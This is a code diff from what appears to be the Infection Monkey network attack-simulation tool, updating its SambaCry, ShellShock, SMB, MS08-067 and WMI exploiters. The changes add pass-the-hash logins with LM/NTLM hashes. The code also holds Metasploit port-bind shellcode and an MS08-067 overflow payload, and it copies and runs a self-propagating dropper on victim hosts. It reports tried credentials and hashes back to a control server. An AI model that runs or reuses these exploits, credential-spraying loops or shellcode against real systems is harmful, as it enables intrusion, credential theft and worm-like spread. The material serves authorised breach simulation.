monkey_bin_64_src_path = get_target_monkey_by_os(False, False)
|
||||||
|
|
||||||
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
|
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
|
||||||
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_32, monkey_bin_file.read)
|
smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read)
|
||||||
|
|
||||||
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
|
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
|
||||||
smb_client.putFile(share, "\\%s" % self._config.sambacry_monkey_filename_64, monkey_bin_file.read)
|
smb_client.putFile(share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read)
|
||||||
|
|
||||||
smb_client.disconnectTree(tree_id)
|
smb_client.disconnectTree(tree_id)
|
||||||
|
|
||||||
|
@ -300,7 +321,7 @@ class SambaCryExploiter(HostExploiter):
|
||||||
try:
|
try:
|
||||||
# the extra / on the beginning is required for the vulnerability
|
# the extra / on the beginning is required for the vulnerability
|
||||||
self.open_pipe(smb_client, "/" + module_path)
|
self.open_pipe(smb_client, "/" + module_path)
|
||||||
except (impacket.smbconnection.SessionError, SessionError) as e:
|
except Exception as e:
|
||||||
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
|
# This is the expected result. We can't tell whether we succeeded or not just by this error code.
|
||||||
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
if str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
|
||||||
return True
|
return True
|
||||||
|
@ -316,15 +337,14 @@ class SambaCryExploiter(HostExploiter):
|
||||||
:return: Array of possible full paths to the module.
|
:return: Array of possible full paths to the module.
|
||||||
"""
|
"""
|
||||||
sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
|
sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
|
||||||
file_names = [self._config.sambacry_runner_filename_32, self._config.sambacry_runner_filename_64]
|
file_names = [self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64]
|
||||||
return [posixpath.join(*x) for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)]
|
return [posixpath.join(*x) for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)]
|
||||||
|
|
||||||
def get_monkey_runner_bin_file(self, is_32bit):
|
def get_monkey_runner_bin_file(self, is_32bit):
|
||||||
if is_32bit:
|
if is_32bit:
|
||||||
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_32), "rb")
|
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_32), "rb")
|
||||||
else:
|
else:
|
||||||
return open(path.join(get_binaries_dir_path(), self._config.sambacry_runner_filename_64), "rb")
|
return open(path.join(get_binaries_dir_path(), self.SAMBACRY_RUNNER_FILENAME_64), "rb")
|
||||||
|
|
||||||
|
|
||||||
def get_monkey_commandline_file(self, host, depth, location):
|
def get_monkey_commandline_file(self, host, depth, location):
|
||||||
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
|
return BytesIO(DROPPER_ARG + build_monkey_commandline(host, depth - 1, location))
|
||||||
|
@ -406,5 +426,7 @@ class SambaCryExploiter(HostExploiter):
|
||||||
|
|
||||||
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
||||||
else:
|
else:
|
||||||
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA, shareMode=FILE_SHARE_READ,
|
return self.create_smb(smb_client, treeId, pathName, desiredAccess=FILE_READ_DATA,
|
||||||
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE, fileAttributes=0)
|
shareMode=FILE_SHARE_READ,
|
||||||
|
creationOptions=FILE_OPEN, creationDisposition=FILE_NON_DIRECTORY_FILE,
|
||||||
|
fileAttributes=0)
|
||||||
|
|
|
@ -64,7 +64,8 @@ class ShellShockExploiter(HostExploiter):
|
||||||
|
|
||||||
# we want to report all vulnerable URLs even if we didn't succeed
|
# we want to report all vulnerable URLs even if we didn't succeed
|
||||||
# let's overload this
|
# let's overload this
|
||||||
[self.report_vuln_shellshock(host, url) for url in exploitable_urls]
|
# TODO: uncomment when server is ready for it
|
||||||
|
# [self.report_vuln_shellshock(host, url) for url in exploitable_urls]
|
||||||
|
|
||||||
# now try URLs until we install something on victim
|
# now try URLs until we install something on victim
|
||||||
for _, url, header, exploit in exploitable_urls:
|
for _, url, header, exploit in exploitable_urls:
|
||||||
|
|
|
@ -16,12 +16,12 @@ try:
|
||||||
from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT
|
from impacket.smbconnection import SessionError as SessionError1, SMB_DIALECT
|
||||||
from impacket.smb import SessionError as SessionError2
|
from impacket.smb import SessionError as SessionError2
|
||||||
from impacket.smb3 import SessionError as SessionError3
|
from impacket.smb3 import SessionError as SessionError3
|
||||||
except ImportError, exc:
|
except ImportError as exc:
|
||||||
print str(exc)
|
print str(exc)
|
||||||
print 'Install the following library to make this script work'
|
print 'Install the following library to make this script work'
|
||||||
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
|
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
|
||||||
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
|
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
|
||||||
sys.exit(1)
|
raise
|
||||||
|
|
||||||
LOG = getLogger(__name__)
|
LOG = getLogger(__name__)
|
||||||
|
|
||||||
|
@ -64,33 +64,35 @@ class SmbExploiter(HostExploiter):
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
creds = self._config.get_exploit_user_password_or_hash_product()
|
||||||
|
|
||||||
exploited = False
|
exploited = False
|
||||||
for user, password in user_password_pairs:
|
for user, password, lm_hash, ntlm_hash in creds:
|
||||||
try:
|
try:
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(host,
|
remote_full_path = SmbTools.copy_file(host,
|
||||||
user,
|
|
||||||
password,
|
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path,
|
self._config.dropper_target_path,
|
||||||
|
user,
|
||||||
|
password,
|
||||||
|
lm_hash,
|
||||||
|
ntlm_hash,
|
||||||
self._config.smb_download_timeout)
|
self._config.smb_download_timeout)
|
||||||
|
|
||||||
if remote_full_path is not None:
|
if remote_full_path is not None:
|
||||||
LOG.debug("Successfully logged in %r using SMB (%s : %s)",
|
LOG.debug("Successfully logged in %r using SMB (%s : %s : %s : %s)",
|
||||||
host, user, password)
|
host, user, password, lm_hash, ntlm_hash)
|
||||||
host.learn_credentials(user, password)
|
host.learn_credentials(user, password)
|
||||||
exploited = True
|
exploited = True
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
# failed exploiting with this user/pass
|
# failed exploiting with this user/pass
|
||||||
report_failed_login(self, host, user, password)
|
report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
|
||||||
|
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Exception when trying to copy file using SMB to %r with user"
|
LOG.debug("Exception when trying to copy file using SMB to %r with user:"
|
||||||
" %s and password '%s': (%s)", host,
|
" %s, password: '%s', LM hash: %s, NTLM hash: %s: (%s)", host,
|
||||||
user, password, exc)
|
user, password, lm_hash, ntlm_hash, exc)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if not exploited:
|
if not exploited:
|
||||||
|
@ -113,15 +115,15 @@ class SmbExploiter(HostExploiter):
|
||||||
rpctransport.preferred_dialect(SMB_DIALECT)
|
rpctransport.preferred_dialect(SMB_DIALECT)
|
||||||
if hasattr(rpctransport, 'set_credentials'):
|
if hasattr(rpctransport, 'set_credentials'):
|
||||||
# This method exists only for selected protocol sequences.
|
# This method exists only for selected protocol sequences.
|
||||||
rpctransport.set_credentials(user, password, host.ip_addr,
|
rpctransport.set_credentials(user, password, '',
|
||||||
"", "", None)
|
lm_hash, ntlm_hash, None)
|
||||||
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
|
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
|
||||||
|
|
||||||
scmr_rpc = rpctransport.get_dce_rpc()
|
scmr_rpc = rpctransport.get_dce_rpc()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
scmr_rpc.connect()
|
scmr_rpc.connect()
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.warn("Error connecting to SCM on exploited machine %r: %s",
|
LOG.warn("Error connecting to SCM on exploited machine %r: %s",
|
||||||
host, exc)
|
host, exc)
|
||||||
return False
|
return False
|
||||||
|
|
|
@ -1,25 +1,27 @@
|
||||||
|
import logging
|
||||||
|
import ntpath
|
||||||
import os
|
import os
|
||||||
import sys
|
import os.path
|
||||||
|
import pprint
|
||||||
import socket
|
import socket
|
||||||
import struct
|
import struct
|
||||||
import ntpath
|
import sys
|
||||||
import pprint
|
|
||||||
import logging
|
|
||||||
import os.path
|
|
||||||
import urllib
|
import urllib
|
||||||
import monkeyfs
|
|
||||||
from difflib import get_close_matches
|
from difflib import get_close_matches
|
||||||
from network import local_ips
|
|
||||||
from transport import HTTPServer
|
|
||||||
from network.info import get_free_tcp_port, get_routes
|
|
||||||
from network.firewall import app as firewall
|
|
||||||
from impacket.dcerpc.v5 import transport, srvs
|
from impacket.dcerpc.v5 import transport, srvs
|
||||||
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
|
|
||||||
from impacket.smbconnection import SMBConnection, SMB_DIALECT
|
|
||||||
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
|
||||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
|
||||||
from impacket.dcerpc.v5.dcom import wmi
|
from impacket.dcerpc.v5.dcom import wmi
|
||||||
|
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
|
||||||
|
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||||
from impacket.dcerpc.v5.dtypes import NULL
|
from impacket.dcerpc.v5.dtypes import NULL
|
||||||
|
from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||||
|
from impacket.smbconnection import SMBConnection, SMB_DIALECT
|
||||||
|
|
||||||
|
import monkeyfs
|
||||||
|
from network import local_ips
|
||||||
|
from network.firewall import app as firewall
|
||||||
|
from network.info import get_free_tcp_port, get_routes
|
||||||
|
from transport import HTTPServer
|
||||||
|
|
||||||
|
|
||||||
class DceRpcException(Exception):
|
class DceRpcException(Exception):
|
||||||
|
@ -62,7 +64,7 @@ class WmiTools(object):
|
||||||
try:
|
try:
|
||||||
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
|
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
|
||||||
wmi.IID_IWbemLevel1Login)
|
wmi.IID_IWbemLevel1Login)
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
dcom.disconnect()
|
dcom.disconnect()
|
||||||
|
|
||||||
if "rpc_s_access_denied" == exc.message:
|
if "rpc_s_access_denied" == exc.message:
|
||||||
|
@ -156,7 +158,7 @@ class WmiTools(object):
|
||||||
query_record[key] = record[key]['value']
|
query_record[key] = record[key]['value']
|
||||||
|
|
||||||
query.append(query_record)
|
query.append(query_record)
|
||||||
except DCERPCSessionError, exc:
|
except DCERPCSessionError as exc:
|
||||||
if 1 == exc.error_code:
|
if 1 == exc.error_code:
|
||||||
break
|
break
|
||||||
|
|
||||||
|
@ -169,20 +171,21 @@ class WmiTools(object):
|
||||||
|
|
||||||
class SmbTools(object):
|
class SmbTools(object):
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def copy_file(host, username, password, src_path, dst_path, timeout=60):
|
def copy_file(host, src_path, dst_path, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||||
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
assert monkeyfs.isfile(src_path), "Source file to copy (%s) is missing" % (src_path,)
|
||||||
|
|
||||||
config = __import__('config').WormConfiguration
|
config = __import__('config').WormConfiguration
|
||||||
src_file_size = monkeyfs.getsize(src_path)
|
src_file_size = monkeyfs.getsize(src_path)
|
||||||
|
|
||||||
smb, dialect = SmbTools.new_smb_connection(host, username, password, timeout)
|
smb, dialect = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||||
if not smb:
|
if not smb:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
# skip guest users
|
# skip guest users
|
||||||
if smb.isGuestSession() > 0:
|
if smb.isGuestSession() > 0:
|
||||||
LOG.debug("Connection to %r with user %s and password '%s' granted guest privileges",
|
LOG.debug("Connection to %r granted guest privileges with user: %s, password: '%s',"
|
||||||
host, username, password)
|
" LM hash: %s, NTLM hash: %s",
|
||||||
|
host, username, password, lm_hash, ntlm_hash)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
smb.logoff()
|
smb.logoff()
|
||||||
|
@ -193,7 +196,7 @@ class SmbTools(object):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
|
resp = SmbTools.execute_rpc_call(smb, "hNetrServerGetInfo", 102)
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error requesting server info from %r over SMB: %s",
|
LOG.debug("Error requesting server info from %r over SMB: %s",
|
||||||
host, exc)
|
host, exc)
|
||||||
return None
|
return None
|
||||||
|
@ -210,7 +213,7 @@ class SmbTools(object):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
|
resp = SmbTools.execute_rpc_call(smb, "hNetrShareEnum", 2)
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error enumerating server shares from %r over SMB: %s",
|
LOG.debug("Error enumerating server shares from %r over SMB: %s",
|
||||||
host, exc)
|
host, exc)
|
||||||
return None
|
return None
|
||||||
|
@ -252,13 +255,13 @@ class SmbTools(object):
|
||||||
share_path = share['share_path']
|
share_path = share['share_path']
|
||||||
|
|
||||||
if not smb:
|
if not smb:
|
||||||
smb, _ = SmbTools.new_smb_connection(host, username, password, timeout)
|
smb, _ = SmbTools.new_smb_connection(host, username, password, lm_hash, ntlm_hash, timeout)
|
||||||
if not smb:
|
if not smb:
|
||||||
return None
|
return None
|
||||||
|
|
||||||
try:
|
try:
|
||||||
tid = smb.connectTree(share_name)
|
tid = smb.connectTree(share_name)
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
|
LOG.debug("Error connecting tree to share '%s' on victim %r: %s",
|
||||||
share_name, host, exc)
|
share_name, host, exc)
|
||||||
continue
|
continue
|
||||||
|
@ -293,7 +296,7 @@ class SmbTools(object):
|
||||||
src_path, share_name, share_path, host)
|
src_path, share_name, share_path, host)
|
||||||
|
|
||||||
break
|
break
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
|
LOG.debug("Error uploading monkey to share '%s' on victim %r: %s",
|
||||||
share_name, host, exc)
|
share_name, host, exc)
|
||||||
continue
|
continue
|
||||||
|
@ -307,23 +310,23 @@ class SmbTools(object):
|
||||||
|
|
||||||
if not file_uploaded:
|
if not file_uploaded:
|
||||||
LOG.debug("Couldn't find a writable share for exploiting"
|
LOG.debug("Couldn't find a writable share for exploiting"
|
||||||
" victim %r with username %s and password '%s'",
|
" victim %r with username: %s, password: '%s', LM hash: %s, NTLM hash: %s",
|
||||||
host, username, password)
|
host, username, password, lm_hash, ntlm_hash)
|
||||||
return None
|
return None
|
||||||
|
|
||||||
return remote_full_path
|
return remote_full_path
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def new_smb_connection(host, username, password, timeout=60):
|
def new_smb_connection(host, username, password, lm_hash='', ntlm_hash='', timeout=60):
|
||||||
try:
|
try:
|
||||||
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
|
smb = SMBConnection(host.ip_addr, host.ip_addr, sess_port=445)
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("SMB connection to %r on port 445 failed,"
|
LOG.debug("SMB connection to %r on port 445 failed,"
|
||||||
" trying port 139 (%s)", host, exc)
|
" trying port 139 (%s)", host, exc)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
|
smb = SMBConnection('*SMBSERVER', host.ip_addr, sess_port=139)
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
|
LOG.debug("SMB connection to %r on port 139 failed as well (%s)",
|
||||||
host, exc)
|
host, exc)
|
||||||
return None, None
|
return None, None
|
||||||
|
@ -334,10 +337,10 @@ class SmbTools(object):
|
||||||
|
|
||||||
# we know this should work because the WMI connection worked
|
# we know this should work because the WMI connection worked
|
||||||
try:
|
try:
|
||||||
smb.login(username, password, domain=host.ip_addr)
|
smb.login(username, password, '', lm_hash, ntlm_hash)
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error while loging into %r using user %s and password '%s': %s",
|
LOG.debug("Error while logging into %r using user: %s, password: '%s', LM hash: %s, NTLM hash: %s: %s",
|
||||||
host, username, password, exc)
|
host, username, password, lm_hash, ntlm_hash, exc)
|
||||||
return None, dialect
|
return None, dialect
|
||||||
|
|
||||||
smb.setTimeout(timeout)
|
smb.setTimeout(timeout)
|
||||||
|
@ -386,13 +389,6 @@ class HTTPTools(object):
|
||||||
|
|
||||||
def get_interface_to_target(dst):
|
def get_interface_to_target(dst):
|
||||||
if sys.platform == "win32":
|
if sys.platform == "win32":
|
||||||
try:
|
|
||||||
import dnet
|
|
||||||
intf = dnet.intf()
|
|
||||||
inte = intf.get_dst(dnet.addr(dst))
|
|
||||||
return str(inte['addr']).split("/")[0]
|
|
||||||
except ImportError:
|
|
||||||
# dnet lib is not installed
|
|
||||||
return get_close_matches(dst, local_ips())[0]
|
return get_close_matches(dst, local_ips())[0]
|
||||||
else:
|
else:
|
||||||
# based on scapy implementation
|
# based on scapy implementation
|
||||||
|
@ -473,11 +469,17 @@ def build_monkey_commandline(target_host, depth, location=None):
|
||||||
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
||||||
|
|
||||||
|
|
||||||
def report_failed_login(exploiter, machine, user, password):
|
def report_failed_login(exploiter, machine, user, password='', lm_hash='', ntlm_hash=''):
|
||||||
from control import ControlClient
|
from control import ControlClient
|
||||||
ControlClient.send_telemetry('exploit', {'result': False, 'machine': machine.__dict__,
|
telemetry_dict = \
|
||||||
'exploiter': exploiter.__class__.__name__,
|
{'result': False, 'machine': machine.__dict__, 'exploiter': exploiter.__class__.__name__,
|
||||||
'user': user, 'password': password})
|
'user': user, 'password': password}
|
||||||
|
if lm_hash:
|
||||||
|
telemetry_dict['lm_hash'] = lm_hash
|
||||||
|
if ntlm_hash:
|
||||||
|
telemetry_dict['ntlm_hash'] = ntlm_hash
|
||||||
|
|
||||||
|
ControlClient.send_telemetry('exploit', telemetry_dict)
|
||||||
|
|
||||||
|
|
||||||
def get_binaries_dir_path():
|
def get_binaries_dir_path():
|
||||||
|
@ -485,4 +487,3 @@ def get_binaries_dir_path():
|
||||||
return sys._MEIPASS
|
return sys._MEIPASS
|
||||||
else:
|
else:
|
||||||
return os.path.dirname(os.path.abspath(__file__))
|
return os.path.dirname(os.path.abspath(__file__))
|
||||||
|
|
||||||
|
|
|
@ -9,32 +9,33 @@
|
||||||
import sys
|
import sys
|
||||||
import time
|
import time
|
||||||
import socket
|
import socket
|
||||||
from enum import IntEnum
|
|
||||||
from logging import getLogger
|
from logging import getLogger
|
||||||
from model.host import VictimHost
|
|
||||||
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
from enum import IntEnum
|
||||||
from . import HostExploiter
|
|
||||||
from exploit.tools import SmbTools, get_target_monkey
|
from exploit.tools import SmbTools, get_target_monkey
|
||||||
from network.tools import check_port_tcp
|
from model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
|
||||||
|
from model.host import VictimHost
|
||||||
from network import SMBFinger
|
from network import SMBFinger
|
||||||
|
from network.tools import check_port_tcp
|
||||||
from tools import build_monkey_commandline
|
from tools import build_monkey_commandline
|
||||||
|
from . import HostExploiter
|
||||||
|
|
||||||
try:
|
try:
|
||||||
from impacket import smb
|
from impacket import smb
|
||||||
from impacket import uuid
|
from impacket import uuid
|
||||||
#from impacket.dcerpc import dcerpc
|
# from impacket.dcerpc import dcerpc
|
||||||
from impacket.dcerpc.v5 import transport
|
from impacket.dcerpc.v5 import transport
|
||||||
from impacket.smbconnection import SessionError as SessionError1
|
from impacket.smbconnection import SessionError as SessionError1
|
||||||
from impacket.smb import SessionError as SessionError2
|
from impacket.smb import SessionError as SessionError2
|
||||||
from impacket.smb3 import SessionError as SessionError3
|
from impacket.smb3 import SessionError as SessionError3
|
||||||
except ImportError, exc:
|
except ImportError as exc:
|
||||||
print str(exc)
|
print str(exc)
|
||||||
print 'Install the following library to make this script work'
|
print 'Install the following library to make this script work'
|
||||||
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
|
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
|
||||||
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
|
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
|
|
||||||
LOG = getLogger(__name__)
|
LOG = getLogger(__name__)
|
||||||
|
|
||||||
# Portbind shellcode from metasploit; Binds port to TCP port 4444
|
# Portbind shellcode from metasploit; Binds port to TCP port 4444
|
||||||
|
@ -62,7 +63,6 @@ SHELLCODE += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
|
||||||
SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
|
SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
|
||||||
SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
|
SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
|
||||||
|
|
||||||
|
|
||||||
# Payload for Windows 2000 target
|
# Payload for Windows 2000 target
|
||||||
PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
|
PAYLOAD_2000 = '\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
|
||||||
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
||||||
|
@ -132,7 +132,7 @@ class SRVSVC_Exploit(object):
|
||||||
self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
|
self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
|
||||||
|
|
||||||
dce_packet = self._build_dce_packet()
|
dce_packet = self._build_dce_packet()
|
||||||
self._dce.call(0x1f, dce_packet) #0x1f (or 31)- NetPathCanonicalize Operation
|
self._dce.call(0x1f, dce_packet) # 0x1f (or 31)- NetPathCanonicalize Operation
|
||||||
|
|
||||||
LOG.debug("Exploit sent to %s successfully...", self._target)
|
LOG.debug("Exploit sent to %s successfully...", self._target)
|
||||||
LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port())
|
LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port())
|
||||||
|
@ -218,7 +218,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
LOG.debug("Exploited into %r using MS08-067", host)
|
LOG.debug("Exploited into %r using MS08-067", host)
|
||||||
exploited = True
|
exploited = True
|
||||||
break
|
break
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error exploiting victim %r: (%s)", host, exc)
|
LOG.debug("Error exploiting victim %r: (%s)", host, exc)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
@ -228,19 +228,19 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
|
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(host,
|
remote_full_path = SmbTools.copy_file(host,
|
||||||
self._config.ms08_067_remote_user_add,
|
|
||||||
self._config.ms08_067_remote_user_pass,
|
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path)
|
self._config.dropper_target_path,
|
||||||
|
self._config.ms08_067_remote_user_add,
|
||||||
|
self._config.ms08_067_remote_user_pass)
|
||||||
|
|
||||||
if not remote_full_path:
|
if not remote_full_path:
|
||||||
# try other passwords for administrator
|
# try other passwords for administrator
|
||||||
for password in self._config.exploit_password_list:
|
for password in self._config.exploit_password_list:
|
||||||
remote_full_path = SmbTools.copy_file(host,
|
remote_full_path = SmbTools.copy_file(host,
|
||||||
"Administrator",
|
|
||||||
password,
|
|
||||||
src_path,
|
src_path,
|
||||||
self._config.dropper_target_path)
|
self._config.dropper_target_path,
|
||||||
|
"Administrator",
|
||||||
|
password)
|
||||||
if remote_full_path:
|
if remote_full_path:
|
||||||
break
|
break
|
||||||
|
|
||||||
|
@ -256,15 +256,15 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
build_monkey_commandline(host, depth - 1)
|
build_monkey_commandline(host, depth - 1)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
sock.send("start %s\r\n" % (cmdline, ))
|
sock.send("start %s\r\n" % (cmdline,))
|
||||||
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add, ))
|
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add,))
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc)
|
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc)
|
||||||
return False
|
return False
|
||||||
finally:
|
finally:
|
||||||
try:
|
try:
|
||||||
sock.close()
|
sock.close()
|
||||||
except:
|
except socket.error:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||||
|
|
|
@ -29,34 +29,36 @@ class WmiExploiter(HostExploiter):
|
||||||
LOG.info("Can't find suitable monkey executable for host %r", host)
|
LOG.info("Can't find suitable monkey executable for host %r", host)
|
||||||
return False
|
return False
|
||||||
|
|
||||||
user_password_pairs = self._config.get_exploit_user_password_pairs()
|
creds = self._config.get_exploit_user_password_or_hash_product()
|
||||||
|
|
||||||
for user, password in user_password_pairs:
|
for user, password, lm_hash, ntlm_hash in creds:
|
||||||
LOG.debug("Attempting to connect %r using WMI with password '%s'",
|
LOG.debug("Attempting to connect %r using WMI with user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||||
host, password)
|
host, user, password, lm_hash, ntlm_hash)
|
||||||
|
|
||||||
wmi_connection = WmiTools.WmiConnection()
|
wmi_connection = WmiTools.WmiConnection()
|
||||||
|
|
||||||
try:
|
try:
|
||||||
wmi_connection.connect(host,
|
wmi_connection.connect(host, user, password, None, lm_hash, ntlm_hash)
|
||||||
user,
|
|
||||||
password)
|
|
||||||
except AccessDeniedException:
|
except AccessDeniedException:
|
||||||
LOG.debug("Failed connecting to %r using WMI with user,password ('%s','%s')",
|
LOG.debug("Failed connecting to %r using WMI with "
|
||||||
host, user, password)
|
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||||
|
host, user, password, lm_hash, ntlm_hash)
|
||||||
continue
|
continue
|
||||||
except DCERPCException, exc:
|
except DCERPCException as exc:
|
||||||
report_failed_login(self, host, user, password)
|
report_failed_login(self, host, user, password, lm_hash, ntlm_hash)
|
||||||
LOG.debug("Failed connecting to %r using WMI with user,password: ('%s','%s')",
|
LOG.debug("Failed connecting to %r using WMI with "
|
||||||
host, user, password)
|
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||||
|
host, user, password, lm_hash, ntlm_hash)
|
||||||
continue
|
continue
|
||||||
except socket.error, exc:
|
except socket.error as exc:
|
||||||
LOG.debug("Network error in WMI connection to %r with user,password: ('%s','%s') (%s)",
|
LOG.debug("Network error in WMI connection to %r with "
|
||||||
host, user, password, exc)
|
"user,password,lm hash,ntlm hash: ('%s','%s','%s','%s')",
|
||||||
|
host, user, password, lm_hash, ntlm_hash)
|
||||||
return False
|
return False
|
||||||
except Exception, exc:
|
except Exception as exc:
|
||||||
LOG.debug("Unknown WMI connection error to %r with user,password: ('%s','%s') (%s):\n%s",
|
LOG.debug("Unknown WMI connection error to %r with "
|
||||||
host, user, password, exc, traceback.format_exc())
